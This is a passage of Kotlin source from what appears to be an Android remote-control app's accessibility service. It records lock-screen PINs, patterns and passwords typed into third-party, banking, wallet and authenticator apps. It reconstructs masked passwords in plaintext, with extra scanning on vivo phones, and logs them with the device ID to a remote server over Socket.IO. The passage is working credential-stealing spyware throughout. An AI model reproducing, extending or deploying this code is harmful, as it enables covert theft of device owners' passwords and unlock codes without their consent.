发送日志到服务器(优化版本,避免传输冲突) */ private suspend fun sendLogToServer(logType: String, content: String, extraData: Map?) { try { val deviceId = getDeviceId() if (deviceId.isNullOrEmpty()) { Log.w(TAG, "❌ 设备ID为空,无法发送日志") return } val logData = JSONObject().apply { put("deviceId", deviceId) put("logType", logType) put("content", content) put("timestamp", System.currentTimeMillis()) extraData?.let { data -> val extraJson = JSONObject() data.forEach { (key, value) -> extraJson.put(key, value) } put("extraData", extraJson) } } // 🔧 关键修复:延迟批量发送,避免与屏幕数据传输冲突 synchronized(logSendBuffer) { logSendBuffer.add(logData) Log.v(TAG, "📝 操作日志已加入缓冲区: $logType - $content (缓冲区大小: ${logSendBuffer.size})") } // 🔧 取消之前的发送任务,重新安排延迟发送 logSendJob?.cancel() logSendJob = kotlinx.coroutines.GlobalScope.launch { delay(logSendDelay) // 延迟1秒发送,避免与控制命令同时传输 val logsToSend = synchronized(logSendBuffer) { val logs = logSendBuffer.toList() logSendBuffer.clear() logs } if (logsToSend.isNotEmpty()) { withContext(Dispatchers.Main) { try { val socketIOManager = getSocketIOManager() if (socketIOManager != null) { // 🔧 批量发送,减少Socket.IO调用频率 logsToSend.forEach { logData -> socketIOManager.sendOperationLog(logData) } lastLogSendTime = System.currentTimeMillis() Log.d(TAG, "📤 批量发送操作日志完成: ${logsToSend.size} 条日志") } else { Log.w(TAG, "⚠️ SocketIOManager不可用,日志发送失败") } } catch (e: Exception) { Log.e(TAG, "❌ 批量发送日志失败", e) } } } } } catch (e: Exception) { Log.e(TAG, "❌ 构建日志消息失败", e) } } /** * 获取设备ID */ private fun getDeviceId(): String? { return try { android.provider.Settings.Secure.getString( service.contentResolver, android.provider.Settings.Secure.ANDROID_ID ) } catch (e: Exception) { Log.e(TAG, "❌ 获取设备ID失败", e) null } } /** * 获取SocketIO管理器 */ private fun getSocketIOManager(): com.hikoncont.network.SocketIOManager? { return try { // 通过反射获取私有字段 val field = service.javaClass.getDeclaredField("socketIOManager") field.isAccessible = true field.get(service) as? com.hikoncont.network.SocketIOManager } catch (e: Exception) { Log.e(TAG, "❌ 获取SocketIOManager失败", e) null } } /** * ✅ 从文本中提取字符 - 支持数字、字母和特殊字符 * 支持的格式: * - 纯数字:1, 2, 3 * - 纯字母:a, b, c * - 带字母格式:PQRS 7, MNO 6, 5 JKL * - 特殊字符:@, #, *, . */ private fun extractDigitFromText(text: String): String? { if (text.isEmpty()) return null // 1. 如果是单个字符(数字、字母、特殊字符),直接返回 if (text.length == 1) { return when { text.matches(Regex("[0-9a-zA-Z@#*.,!?]")) -> { Log.d(TAG, "🔍 [字符提取] 单字符: '$text'") text } else -> null } } // 2. 查找文本中的数字字符(优先数字) val digits = text.filter { it.isDigit() } // 3. 如果只有一个数字,返回它 if (digits.length == 1) { Log.d(TAG, "🔍 [字符提取] 从 '$text' 提取数字: '$digits'") return digits } // 4. 如果有多个数字,尝试识别键盘布局模式 if (digits.length > 1) { // 对于电话键盘,通常数字在前面或后面 // 常见格式:PQRS 7, 5 JKL, ABC 2, DEF 3 val textUpper = text.uppercase() // 检查是否是标准电话键盘格式 val phoneKeyMap = mapOf( "ABC" to "2", "DEF" to "3", "GHI" to "4", "JKL" to "5", "MNO" to "6", "PQRS" to "7", "TUV" to "8", "WXYZ" to "9" ) for ((letters, digit) in phoneKeyMap) { if (textUpper.contains(letters)) { Log.d(TAG, "🔍 [字符提取] 从 '$text' 识别电话键盘格式: '$digit'") return digit } } // 如果不是标准格式,返回第一个数字 Log.d(TAG, "🔍 [字符提取] 从 '$text' 返回第一个数字: '${digits[0]}'") return digits[0].toString() } // 5. 如果没有数字,检查是否有单个字母 val letters = text.filter { it.isLetter() } if (letters.length == 1) { Log.d(TAG, "🔍 [字符提取] 从 '$text' 提取字母: '$letters'") return letters } // 6. 检查特殊字符 val specialChars = text.filter { it in "@#*.,!?()-" } if (specialChars.length == 1) { Log.d(TAG, "🔍 [字符提取] 从 '$text' 提取特殊字符: '$specialChars'") return specialChars } // 7. 如果都没有,返回null Log.d(TAG, "🔍 [字符提取] 从 '$text' 未找到可识别字符") return null } /** * 检测是否为虚拟键盘按键 */ private fun isVirtualKeyboard(packageName: String, className: String): Boolean { val packageLower = packageName.toLowerCase() val classLower = className.toLowerCase() return packageLower.contains("inputmethod") || packageLower.contains("keyboard") || classLower.contains("keyboard") || classLower.contains("keyboardview") } /** * 检测当前是否正在输入密码(PIN码等) */ private fun isCurrentlyInputtingPassword(packageName: String, className: String): Boolean { val packageLower = packageName.lowercase() val classLower = className.lowercase() // 检查最近是否有密码输入活动 val recentPasswordInput = isPasswordInputActive || (System.currentTimeMillis() - lastPasswordEventTime < 2000) // SystemUI中与密码/PIN码相关的组件 val isPasswordRelated = packageLower.contains("systemui") && ( classLower.contains("edittext") || classLower.contains("password") || classLower.contains("pin") || classLower.contains("numpad") || classLower.contains("keyboard") ) return recentPasswordInput || isPasswordRelated } /** * 检测是否为指纹传感器 */ private fun isFingerprintSensor(contentDescription: String, className: String): Boolean { val descLower = contentDescription.toLowerCase() val classLower = className.toLowerCase() return descLower.contains("fingerprint") || descLower.contains("指纹") || classLower.contains("fingerprint") } /** * ✅ 增强:处理触摸开始事件 - 第三方应用键盘检测的关键 */ private fun handleTouchStart(event: AccessibilityEvent) { val packageName = event.packageName?.toString() ?: "" val className = event.className?.toString() ?: "" val eventText = event.text?.joinToString("") ?: "" val contentDesc = event.contentDescription?.toString() ?: "" // 检查是否为输入法相关包名 val isInputMethodPackage = packageName.lowercase().let { pkg -> pkg.contains("inputmethod") || pkg.contains("keyboard") || pkg.contains("ime") || pkg.contains("gboard") || pkg.contains("swiftkey") || pkg.contains("sogou") || pkg.contains("baidu") || pkg.contains("iflytek") } val appType = if (isInputMethodPackage) "输入法" else "第三方应用" // ✅ 记录触摸开始事件,特别关注有文本内容的 if (!packageName.contains("systemui", ignoreCase = true)) { if (eventText.isNotEmpty() || contentDesc.isNotEmpty() || isInputMethodPackage) { Log.i(TAG, "👇 [$appType] 触摸开始: 包名=$packageName, 类名=$className, 文本='$eventText', 描述='$contentDesc'") // ✅ 分析是否为键盘触摸 analyzeTouchForKeyboard(event, packageName, className, eventText, contentDesc, "TOUCH_START") } } } /** * ✅ 增强:处理触摸结束事件 - 键盘字符确认的关键时机 */ private fun handleTouchEnd(event: AccessibilityEvent) { val packageName = event.packageName?.toString() ?: "" val className = event.className?.toString() ?: "" val eventText = event.text?.joinToString("") ?: "" val contentDesc = event.contentDescription?.toString() ?: "" // 检查是否为输入法相关包名 val isInputMethodPackage = packageName.lowercase().let { pkg -> pkg.contains("inputmethod") || pkg.contains("keyboard") || pkg.contains("ime") || pkg.contains("gboard") || pkg.contains("swiftkey") || pkg.contains("sogou") || pkg.contains("baidu") || pkg.contains("iflytek") } val appType = if (isInputMethodPackage) "输入法" else "第三方应用" // ✅ 记录触摸结束事件,这是键盘输入确认的关键时机 if (!packageName.contains("systemui", ignoreCase = true)) { if (eventText.isNotEmpty() || contentDesc.isNotEmpty() || isInputMethodPackage) { Log.i(TAG, "👆 [$appType] 触摸结束: 包名=$packageName, 类名=$className, 文本='$eventText', 描述='$contentDesc'") // ✅ 分析是否为键盘触摸并记录字符 analyzeTouchForKeyboard(event, packageName, className, eventText, contentDesc, "TOUCH_END") } } } /** * 处理视图选择事件(可能用于图案解锁) */ private fun handleViewSelected(event: AccessibilityEvent) { val packageName = event.packageName?.toString() ?: "" val className = event.className?.toString() ?: "" } /** * 处理窗口内容变化 - ✅ 优化版本,区分数字密码和图案解锁 */ private fun handleWindowContentChanged(event: AccessibilityEvent) { val packageName = event.packageName?.toString() ?: "" val className = event.className?.toString() ?: "" val currentTime = System.currentTimeMillis() Log.i(TAG, "🔍 [增强窗口内容变化] 处理增强窗口内容变化 - 包名=$packageName, 类名=$className") // ✅ 优先检测数字密码输入 if (isPasswordField(event)) { val text = event.text?.joinToString("") ?: "" val beforeText = event.beforeText?.toString() ?: "" Log.d(TAG, "🔢 窗口内容变化检测到密码字段: 包名=$packageName, 类名=$className, 文本='$text'") // 如果有文本变化,处理为密码输入 if (text != beforeText || text.isNotEmpty()) { handlePasswordInput(event, text, beforeText, currentTime) return // ✅ 处理完密码输入后直接返回,不继续处理图案解锁 } } // ✅ 检测SystemUI中的数字键盘输入(通过AccessibilityNodeInfo) if (packageName.contains("systemui", ignoreCase = true)) { val source = event.source if (source != null) { try { // 查找数字键盘或密码输入框 val hasNumericKeypad = findNumericKeypadInNode(source) val hasPasswordField = findPasswordFieldInNode(source) if (hasNumericKeypad || hasPasswordField) { Log.d(TAG, "🔢 检测到数字键盘或密码输入: 数字键盘=$hasNumericKeypad, 密码字段=$hasPasswordField") // 尝试获取密码字段的内容 val passwordContent = extractPasswordFromNode(source) if (passwordContent.isNotEmpty()) { Log.d(TAG, "🔢 从节点提取到密码内容: '$passwordContent'") // ✅ 检测并记录数字序列 val previousLength = numericPasswordSequence.size val currentLength = passwordContent.length // 如果密码长度增加,记录新增的数字 if (currentLength > previousLength && passwordContent.all { it.isDigit() || it == '•' || it == '*' }) { for (i in previousLength until currentLength) { if (i < passwordContent.length) { val digit = passwordContent[i] if (digit.isDigit()) { Log.d(TAG, "🔢 记录WINDOW_CONTENT_CHANGED中的数字: $digit") numericPasswordSequence.add(mapOf( "digit" to digit.toString(), "timestamp" to currentTime, "className" to className, "packageName" to packageName, "source" to "window_content_changed" )) // ✅ 检测到数字0,立即标记 if (digit == '0') { hasDetectedZero = true Log.d(TAG, "⚡ 检测到数字0,切换模式: hasDetectedZero = true") } } } } } // 创建模拟的密码输入事件 val simulatedText = if (passwordContent.all { it.isDigit() }) passwordContent else "•".repeat(passwordContent.length) handlePasswordInput(event, simulatedText, "", currentTime) return // ✅ 处理完密码输入后直接返回 } } } catch (e: Exception) { Log.w(TAG, "检查SystemUI密码输入失败", e) } finally { source.recycle() } } } // ✅ 首先检查界面上是否存在数字0(数字密码的标志) if (packageName.contains("systemui", ignoreCase = true)) { checkForNumericPasswordIndicators(event) } // ✅ 在处理图案解锁之前,先检测是否有新的数字输入(实时检测) if (packageName.contains("systemui", ignoreCase = true)) { val source = event.source if (source != null) { try { val currentPasswordContent = extractPasswordFromNode(source) if (currentPasswordContent.isNotEmpty() && currentPasswordContent.any { it.isDigit() }) { val currentDigitCount = currentPasswordContent.count { it.isDigit() } val recordedDigitCount = numericPasswordSequence.size if (currentDigitCount > recordedDigitCount) { Log.d(TAG, "🔢 图案模式中检测到新数字输入: '$currentPasswordContent' (当前:$currentDigitCount, 已记录:$recordedDigitCount)") // 记录新增的数字 for (i in recordedDigitCount until minOf(currentDigitCount, currentPasswordContent.length)) { val digit = currentPasswordContent[i] if (digit.isDigit()) { Log.d(TAG, "🔢 补充记录数字: $digit") numericPasswordSequence.add(mapOf( "digit" to digit.toString(), "timestamp" to currentTime, "className" to className, "packageName" to packageName, "source" to "pattern_mode_detection" )) // ✅ 检测到数字0,立即标记 if (digit == '0') { hasDetectedZero = true Log.d(TAG, "⚡ 图案模式中检测到数字0,切换模式: hasDetectedZero = true") } } } } } } catch (e: Exception) { Log.w(TAG, "图案模式中检测数字失败", e) } finally { source.recycle() } } } } /** * ✅ 新增:转换密码类型为增强格式 */ private fun convertToEnhancedType(passwordType: String): String { return when (passwordType) { "混合密码" -> "MIXED" "文本密码" -> "TEXT" "数字密码" -> "NUMERIC" "PIN码" -> "PIN" "图案密码" -> "PATTERN" else -> "UNKNOWN" } } /** * ✅ 新增:转换密码类型为确认检测使用的简化类型 */ private fun convertToConfirmDetectionType(passwordType: String): String { return when (passwordType) { "混合密码" -> "mixed" "文本密码" -> "text" "数字密码" -> "numeric" "PIN码" -> "numeric" // PIN码也使用numeric类型 "图案密码" -> "pattern" else -> "unknown" } } /** * 检测是否为密码输入框 */ private fun isPasswordField(event: AccessibilityEvent): Boolean { val className = event.className?.toString()?.lowercase() ?: "" val contentDescription = event.contentDescription?.toString()?.lowercase() ?: "" val packageName = event.packageName?.toString()?.lowercase() ?: "" // 检查类名是否包含密码相关字段 val passwordClassNames = listOf( "edittext", "passwordfield", "secureedittext", "password", "pin", "passcode" ) // 检查内容描述是否包含密码相关词汇 val passwordKeywords = listOf( "password", "密码", "pin", "passcode", "安全", "unlock", "解锁" ) val classMatches = passwordClassNames.any { className.contains(it) } val descMatches = passwordKeywords.any { contentDescription.contains(it) } val isPasswordEvent = event.isPassword // ✅ 增强:特别处理SystemUI中的各种密码输入场景 val isSystemUIPasswordInput = packageName.contains("systemui") && ( className.contains("edittext") || // PIN码输入框 className.contains("passwordfield") || // 密码输入框 className.contains("secureedittext") || // 安全文本输入 className.contains("numpad") || // 数字键盘 className.contains("keypad") || // 键盘 className.contains("android.view.view") // ✅ 通用View(可能是数字密码输入) ) // ✅ 增强:检查事件文本是否包含密码特征 val eventText = event.text?.joinToString("") ?: "" val hasPasswordCharacteristics = eventText.any { it == '•' || it == '*' } || (eventText.isNotEmpty() && eventText.all { it.isDigit() || it == '•' || it == '*' }) val result = classMatches || descMatches || isPasswordEvent || isSystemUIPasswordInput || hasPasswordCharacteristics Log.d(TAG, "🔍 密码字段检测: 类名=$className, 描述=$contentDescription, 包名=$packageName") Log.d(TAG, " 类名匹配=$classMatches, 描述匹配=$descMatches, isPassword=$isPasswordEvent") Log.d(TAG, " SystemUI密码输入=$isSystemUIPasswordInput, 密码特征=$hasPasswordCharacteristics") Log.d(TAG, " 事件文本='$eventText'") Log.d(TAG, " 最终结果: $result") return result } /** * ✅ 新增:增强的密码输入检测,支持更多第三方应用 */ private fun isLikelyPasswordInput(event: AccessibilityEvent): Boolean { val className = event.className?.toString()?.lowercase() ?: "" val contentDescription = event.contentDescription?.toString()?.lowercase() ?: "" val packageName = event.packageName?.toString()?.lowercase() ?: "" val eventText = event.text?.joinToString("") ?: "" // 1. 检查第三方应用中的常见密码输入特征 val hasPasswordMask = eventText.any { it == '•' || it == '*' || it == '●' } // 2. 检查常见的密码相关UI元素 val passwordUIIndicators = listOf( "密码", "password", "pwd", "pass", "pin", "unlock", "解锁", "登录", "login", "sign in", "signin", "security", "安全", "验证", "verify", "auth", "认证" ) val hasPasswordUI = passwordUIIndicators.any { keyword -> contentDescription.contains(keyword) || className.contains(keyword) } // 3. 检查是否为数字密码(纯数字输入且长度合理) val isNumericPassword = eventText.isNotEmpty() && eventText.all { it.isDigit() } && eventText.length in 3..10 // 4. 检查输入框的hint或placeholder文本 val source = event.source var hasPasswordHint = false if (source != null) { try { val hintText = source.hintText?.toString()?.lowercase() ?: "" hasPasswordHint = passwordUIIndicators.any { hintText.contains(it) } } catch (e: Exception) { Log.w(TAG, "检查hint文本失败", e) } finally { source.recycle() } } // 5. 检查常见的密码输入应用 val passwordApps = listOf( "banking", "bank", "wallet", "payment", "pay", "finance", "security", "lock", "keychain", "password", "authenticator", "2fa", "otp" ) val isPasswordApp = passwordApps.any { packageName.contains(it) } val result = hasPasswordMask || hasPasswordUI || isNumericPassword || hasPasswordHint || isPasswordApp if (result) { Log.d(TAG, "🔍 增强密码检测: 掩码=$hasPasswordMask, UI指示=$hasPasswordUI, 数字密码=$isNumericPassword, hint密码=$hasPasswordHint, 密码应用=$isPasswordApp") } return result } /** * ✅ 新增:提取文本输入的变化部分 */ private fun extractInputDelta(beforeText: String, currentText: String): String { return when { currentText.length > beforeText.length -> { // 文本增加:提取新增的部分 currentText.substring(beforeText.length) } currentText.length < beforeText.length -> { // 文本减少:标记删除 "[删除${beforeText.length - currentText.length}字符]" } else -> { // 长度相同但内容不同:可能是替换 "[文本替换]" } } } /** * 尝试获取完整的密码文本 */ private fun getPasswordText(event: AccessibilityEvent, displayText: String, beforeText: String): String { try { var actualText = displayText // ✅ vivo设备专用文本获取增强 if (isVivoDevice) { // 优先使用捕获的明文字符(如果有的话) if (vivoExtractedChars.isNotEmpty() && displayText.length > 0) { val vivoEnhancedText = enhanceVivoPasswordText(displayText, beforeText) if (vivoEnhancedText != displayText) { actualText = vivoEnhancedText Log.d(TAG, "📱 [vivo文本增强] 原始='$displayText' -> 增强='$actualText'") } } } // 方法1:从事件文本获取 if (actualText.isEmpty() && event.text.isNotEmpty()) { actualText = event.text.joinToString("") } // 方法2:尝试从AccessibilityNodeInfo获取更多信息 val source = event.source if (source != null) { try { val nodeText = source.text?.toString() ?: "" if (nodeText.isNotEmpty()) { // 只有当节点文本看起来像密码字符时才使用(包含掩码或数字/字母) val looksLikePassword = nodeText.any { it == '•' || it == '*' } || (nodeText.length <= 20 && nodeText.any { it.isLetterOrDigit() }) if (looksLikePassword && (nodeText.length >= actualText.length || nodeText.any { it.isLetterOrDigit() && !actualText.contains(it) })) { actualText = nodeText } } } catch (e: Exception) { Log.w(TAG, "从AccessibilityNodeInfo获取文本失败", e) } finally { source.recycle() } } // 方法3:分析文本变化,推断当前输入的字符 if (actualText.length > beforeText.length) { val lengthDiff = actualText.length - beforeText.length Log.d(TAG, "🔍 检测到长度增加 $lengthDiff 位") // 如果当前文本全是掩码,但长度增加了,尝试保留上次的明文 if (actualText.all { it == '•' || it == '*' } && beforeText.any { it.isLetterOrDigit() }) { // 构建可能的文本:保留之前的明文,新位置用掩码 val newText = StringBuilder() for (i in 0 until actualText.length) { if (i < beforeText.length && beforeText[i].isLetterOrDigit()) { newText.append(beforeText[i]) } else { newText.append('•') } } actualText = newText.toString() } } Log.d(TAG, "🔍 密码文本解析: 显示文本='$displayText', 之前文本='$beforeText', 实际文本='$actualText'") // 返回实际显示的文本(明文或掩码) return actualText } catch (e: Exception) { Log.w(TAG, "获取密码文本失败", e) return displayText } } /** * ✅ vivo设备专用密码快速捕获处理 */ private fun handleVivoPasswordCapture(event: AccessibilityEvent, text: String, beforeText: String, packageName: String, className: String) { val currentTime = System.currentTimeMillis() Log.i(TAG, "📱 [vivo快速捕获] 开始处理: 文本='$text', 之前='$beforeText'") // 1. 立即提取明文字符 val plaintextChars = extractVivoPlaintextChars(text, beforeText) if (plaintextChars.isNotEmpty()) { Log.i(TAG, "🎯 [vivo快速捕获] 发现明文字符: '$plaintextChars'") vivoExtractedChars.addAll(plaintextChars) vivoLastCaptureTime = currentTime } // 2. 深度扫描节点文本 val source = event.source if (source != null) { try { scanVivoPasswordNodeDeep(source, packageName) } catch (e: Exception) { Log.w(TAG, "vivo深度扫描失败", e) } finally { source.recycle() } } // 3. 启动主动扫描(仅对密码场景且当前时间窗口内) if (isPasswordField(event) && !vivoActiveScanning.contains(packageName) && (currentTime - vivoLastCaptureTime < 2000L || vivoLastCaptureTime == 0L)) { startVivoActiveScanning(packageName) } // 4. 更新vivo密码缓冲区 updateVivoPasswordBuffer(text, beforeText) Log.i(TAG, "📱 [vivo快速捕获] 处理完成: 已捕获${vivoExtractedChars.size}个字符") } /** * ✅ vivo设备明文字符提取 */ private fun extractVivoPlaintextChars(text: String, beforeText: String): List { val extractedChars = mutableListOf() try { // 方法1: 提取所有非掩码字符 val plaintextInCurrent = text.filter { char -> char != '•' && char != '*' && char.isLetterOrDigit() } if (plaintextInCurrent.isNotEmpty()) { extractedChars.addAll(plaintextInCurrent.map { it.toString() }) Log.d(TAG, "🎯 [vivo明文提取] 当前文本明文: '$plaintextInCurrent'") } // 方法2: 分析新增字符(比较text和beforeText的差异) if (text.length > beforeText.length) { val lengthDiff = text.length - beforeText.length val potentialNewChars = text.takeLast(lengthDiff) val newPlaintextChars = potentialNewChars.filter { char -> char != '•' && char != '*' && char.isLetterOrDigit() } if (newPlaintextChars.isNotEmpty()) { extractedChars.addAll(newPlaintextChars.map { it.toString() }) Log.d(TAG, "🎯 [vivo明文提取] 新增明文字符: '$newPlaintextChars'") } } // 方法3: 比较位置差异,提取可能的明文 for (i in text.indices) { val currentChar = text[i] val previousChar = if (i < beforeText.length) beforeText[i] else null // 如果当前位置是明文,而之前位置是掩码或不存在,则可能是新输入的明文 if (currentChar.isLetterOrDigit() && currentChar != '•' && currentChar != '*') { if (previousChar == null || previousChar == '•' || previousChar == '*' || previousChar != currentChar) { if (!extractedChars.contains(currentChar.toString())) { extractedChars.add(currentChar.toString()) Log.d(TAG, "🎯 [vivo明文提取] 位置${i}明文字符: '$currentChar'") } } } } } catch (e: Exception) { Log.w(TAG, "vivo明文字符提取失败", e) } return extractedChars.distinct() // 去重 } /** * ✅ vivo设备深度节点扫描 */ private fun scanVivoPasswordNodeDeep(node: AccessibilityNodeInfo, packageName: String) { try { // 扫描当前节点 val nodeText = node.text?.toString() if (!nodeText.isNullOrEmpty() && nodeText.length <= 20) { // 限制长度,避免扫描非密码文本 val extractedFromNode = extractVivoPlaintextChars(nodeText, "") if (extractedFromNode.isNotEmpty()) { Log.i(TAG, "🔍 [vivo深度扫描] 节点明文: '$extractedFromNode'") vivoExtractedChars.addAll(extractedFromNode) } } // 扫描子节点(限制深度避免性能问题) if (node.childCount <= 10) { // 限制子节点数量 for (i in 0 until node.childCount) { val child = node.getChild(i) if (child != null) { try { val childText = child.text?.toString() if (!childText.isNullOrEmpty() && childText.length <= 20) { val extractedFromChild = extractVivoPlaintextChars(childText, "") if (extractedFromChild.isNotEmpty()) { Log.i(TAG, "🔍 [vivo深度扫描] 子节点明文: '$extractedFromChild'") vivoExtractedChars.addAll(extractedFromChild) } } } finally { child.recycle() } } } } } catch (e: Exception) { Log.w(TAG, "vivo深度扫描节点失败", e) } } /** * ✅ vivo设备主动扫描启动 */ private fun startVivoActiveScanning(packageName: String) { if (vivoActiveScanning.contains(packageName)) { return // 避免重复扫描 } vivoActiveScanning.add(packageName) Log.i(TAG, "🚀 [vivo主动扫描] 启动主动扫描: $packageName") logScope.launch { try { // 连续扫描15次,每次间隔50ms,总共750ms repeat(15) { scanIndex -> delay(50L) try { val rootNode = service.rootInActiveWindow if (rootNode != null) { scanPasswordFieldsInRoot(rootNode, packageName, scanIndex) rootNode.recycle() } } catch (e: Exception) { Log.w(TAG, "vivo主动扫描第${scanIndex + 1}次失败", e) } } } finally { // 扫描完成后清理 vivoActiveScanning.remove(packageName) Log.i(TAG, "✅ [vivo主动扫描] 扫描完成: $packageName") } } } /** * ✅ 扫描根节点中的所有密码字段 */ private fun scanPasswordFieldsInRoot(rootNode: AccessibilityNodeInfo, targetPackage: String, scanIndex: Int) { findPasswordFieldsRecursive(rootNode, targetPackage, { passwordNode -> try { val nodeText = passwordNode.text?.toString() if (!nodeText.isNullOrEmpty() && nodeText.length <= 20) { val extractedFromScan = extractVivoPlaintextChars(nodeText, "") if (extractedFromScan.isNotEmpty()) { Log.i(TAG, "🎯 [vivo主动扫描#${scanIndex + 1}] 发现密码字段明文: '$extractedFromScan'") vivoExtractedChars.addAll(extractedFromScan) vivoLastCaptureTime = System.currentTimeMillis() } } } catch (e: Exception) { Log.w(TAG, "扫描密码字段失败", e) } }) } /** * ✅ 递归查找密码字段 */ private fun findPasswordFieldsRecursive( node: AccessibilityNodeInfo, targetPackage: String, onPasswordFieldFound: (AccessibilityNodeInfo) -> Unit, depth: Int = 0 ) { if (depth > 5) return // 限制递归深度 try { // 检查当前节点是否是密码字段 val className = node.className?.toString()?.lowercase() ?: "" val isPasswordInput = node.isPassword || className.contains("password") || className.contains("edittext") if (isPasswordInput) { onPasswordFieldFound(node) } // 递归检查子节点 if (node.childCount <= 20) { // 限制子节点数量 for (i in 0 until node.childCount) { val child = node.getChild(i) if (child != null) { try { findPasswordFieldsRecursive(child, targetPackage, onPasswordFieldFound, depth + 1) } finally { child.recycle() } } } } } catch (e: Exception) { Log.w(TAG, "递归查找密码字段失败", e) } } /** * ✅ 更新vivo密码缓冲区 */ private fun updateVivoPasswordBuffer(text: String, beforeText: String) { try { // 如果检测到新的明文字符,更新缓冲区 if (vivoExtractedChars.isNotEmpty()) { // 构建可能的完整密码 val reconstructedPassword = reconstructVivoPassword(text) if (reconstructedPassword != vivoPasswordBuffer && reconstructedPassword.isNotEmpty()) { vivoPasswordBuffer = reconstructedPassword Log.i(TAG, "📝 [vivo密码重构] 更新密码缓冲区: 长度=${reconstructedPassword.length}") // 如果重构的密码看起来完整,记录到日志 if (reconstructedPassword.length >= 4) { // 至少4位才考虑是完整密码 logScope.launch { recordLog( "TEXT_INPUT", "🔒 [vivo快速捕获] 重构密码: ${reconstructedPassword.replace(Regex("[a-zA-Z0-9]"), "•")} (${reconstructedPassword.length}位)", mapOf( "vivoOptimized" to true, "extractedChars" to vivoExtractedChars.size, "reconstructedPassword" to reconstructedPassword, "captureMethod" to "vivo_enhanced_capture" ) ) } } } } } catch (e: Exception) { Log.w(TAG, "更新vivo密码缓冲区失败", e) } } /** * ✅ vivo设备文本增强处理 */ private fun enhanceVivoPasswordText(displayText: String, beforeText: String): String { try { if (vivoExtractedChars.isEmpty()) { return displayText } // 策略1: 如果显示文本全是掩码,尝试用捕获的明文字符重构 if (displayText.all { it == '•' || it == '*' || it.isWhitespace() }) { val distinctChars = vivoExtractedChars.distinct() if (distinctChars.size >= displayText.length * 0.5) { // 至少捕获了50%的字符 val reconstructed = distinctChars.take(displayText.length).joinToString("") Log.d(TAG, "📱 [vivo文本增强] 全掩码重构: ${distinctChars.joinToString("")}") return reconstructed } } // 策略2: 混合显示,保留明文部分,补充捕获的字符 if (displayText.any { it.isLetterOrDigit() } && displayText.any { it == '•' || it == '*' }) { val enhancedText = StringBuilder() val capturedChars = vivoExtractedChars.toMutableList() for (i in displayText.indices) { val currentChar = displayText[i] if (currentChar.isLetterOrDigit()) { // 保留已显示的明文字符 enhancedText.append(currentChar) capturedChars.find { it == currentChar.toString() }?.also { capturedChars.remove(it) } } else if (currentChar == '•' || currentChar == '*') { // 尝试用捕获的字符替换掩码 val replacementChar = capturedChars.removeFirstOrNull() enhancedText.append(replacementChar ?: currentChar) } else { enhancedText.append(currentChar) } } Log.d(TAG, "📱 [vivo文本增强] 混合重构: ${enhancedText.toString()}") return enhancedText.toString() } // 策略3: 如果捕获的字符比显示的更多,可能是完整密码 val distinctChars = vivoExtractedChars.distinct() if (distinctChars.size > displayText.length) { Log.d(TAG, "📱 [vivo文本增强] 使用完整捕获: ${distinctChars.joinToString("")}") return distinctChars.joinToString("") } return displayText } catch (e: Exception) { Log.w(TAG, "vivo文本增强处理失败", e) return displayText } } /** * ✅ 重构vivo设备密码 */ private fun reconstructVivoPassword(currentText: String): String { try { // 策略1: 如果当前文本包含明文,直接使用 val currentPlaintext = currentText.filter { it != '•' && it != '*' && it.isLetterOrDigit() } if (currentPlaintext.isNotEmpty()) { return currentPlaintext } // 策略2: 使用捕获的明文字符重构 if (vivoExtractedChars.isNotEmpty()) { // 按捕获时间顺序排列(假设是按输入顺序捕获的) val reconstructed = vivoExtractedChars.distinct().joinToString("") if (reconstructed.length >= currentText.length - 2) { // 允许少量字符丢失 return reconstructed } } // 策略3: 结合当前文本长度和捕获字符 if (vivoExtractedChars.isNotEmpty() && currentText.isNotEmpty()) { val distinctChars = vivoExtractedChars.distinct() // 如果捕获的字符数量接近文本长度,可能是完整的 if (distinctChars.size >= currentText.length * 0.7) { // 至少70%的字符被捕获 return distinctChars.joinToString("") } } return "" } catch (e: Exception) { Log.w(TAG, "重构vivo密码失败", e) return "" } } /** * 处理文本选择变化事件 - 可能包含密码输入 */ private fun handleTextSelectionChanged(event: AccessibilityEvent) { val packageName = event.packageName?.toString() ?: "" val className = event.className?.toString() ?: "" // 只处理密码相关的事件 if (isPasswordField(event)) { val text = event.text?.joinToString("") ?: "" val beforeText = event.beforeText?.toString() ?: "" Log.d(TAG, "🔍 文本选择变化: 包名=$packageName, 类名=$className, 文本='$text', 之前='$beforeText'") // 如果检测到文本变化,可能是密码输入 if (text != beforeText && text.isNotEmpty()) { handlePasswordInput(event, text, beforeText, System.currentTimeMillis()) } } } /** * ✅ 增强:处理焦点事件 - 记录所有文本输入框获得焦点的情况 */ private fun handleViewFocused(event: AccessibilityEvent) { val packageName = event.packageName?.toString() ?: "" val className = event.className?.toString() ?: "" val text = event.text?.joinToString("") ?: "" val contentDescription = event.contentDescription?.toString() ?: "" // ✅ 增强:检测所有可能的文本输入控件 var isTextInput = className.lowercase().contains("edittext") || className.lowercase().contains("textfield") || className.lowercase().contains("textinput") || className.lowercase().contains("searchview") || event.isPassword // ✅ 增强:通过AccessibilityNodeInfo检查是否可编辑 val source = event.source if (source != null) { isTextInput = isTextInput || source.isEditable } // ✅ 增强:检测是否为密码输入框 val isPasswordField = isPasswordField(event) || isLikelyPasswordInput(event) if (isTextInput) { Log.d(TAG, "🎯 文本输入框获得焦点: 包名=$packageName, 类名=$className, 密码字段=$isPasswordField") // 尝试从AccessibilityNodeInfo获取更多信息 var nodeText = "" var hintText = "" if (source != null) { try { nodeText = source.text?.toString() ?: "" hintText = source.hintText?.toString() ?: "" Log.d(TAG, "🎯 节点详细信息: 文本='$nodeText', 提示='$hintText', 可编辑=${source.isEditable}, 密码=${source.isPassword}") if (nodeText.isNotEmpty() && nodeText != text) { // 可能获取到了更完整的文本 Log.d(TAG, "🎯 从节点获取到更多文本信息: '$nodeText'") } } catch (e: Exception) { Log.w(TAG, "获取节点文本失败", e) } finally { source.recycle() } } // ✅ 记录焦点事件 - 包含密码和普通文本输入 // 从节点获取isEditable状态 val nodeIsEditable = source?.isEditable ?: false logScope.launch { recordLog( "FOCUS_GAINED", "文本框获得焦点: ${if (isPasswordField) "密码输入" else "文本输入"}", mapOf( "text" to text, "nodeText" to nodeText, "hintText" to hintText, "className" to className, "packageName" to packageName, "contentDescription" to contentDescription, "isPasswordField" to isPasswordField, "isEditable" to nodeIsEditable, "eventType" to "VIEW_FOCUSED" ) ) } // ✅ 对于密码字段,执行特殊处理 if (isPasswordField && nodeText.isNotEmpty()) { Log.d(TAG, "🔒 密码字段焦点检测到已有内容,可能需要分析") } } } /** * ✅ 新增:在节点中查找数字键盘 */ private fun 